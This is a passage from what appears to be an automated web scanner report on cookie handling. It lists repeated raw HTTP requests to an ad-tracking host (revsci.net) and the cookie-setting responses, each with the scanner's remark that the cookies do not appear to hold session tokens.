rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl0DSCeM1VkQwa9U=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:08 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e649c&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:08 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:07 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/70794208.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LClyHSCCM0VkQwa9Y=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:14 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a2&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:14 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:13 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/715159401.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVIxEbUkfAbX+cer9duzVms+JZMi; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:23 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b3&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:23 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:23 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/72215668.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCV0HTySI1VkQ4a9A=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:59 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6493&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:59 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:59 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/725558049.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPln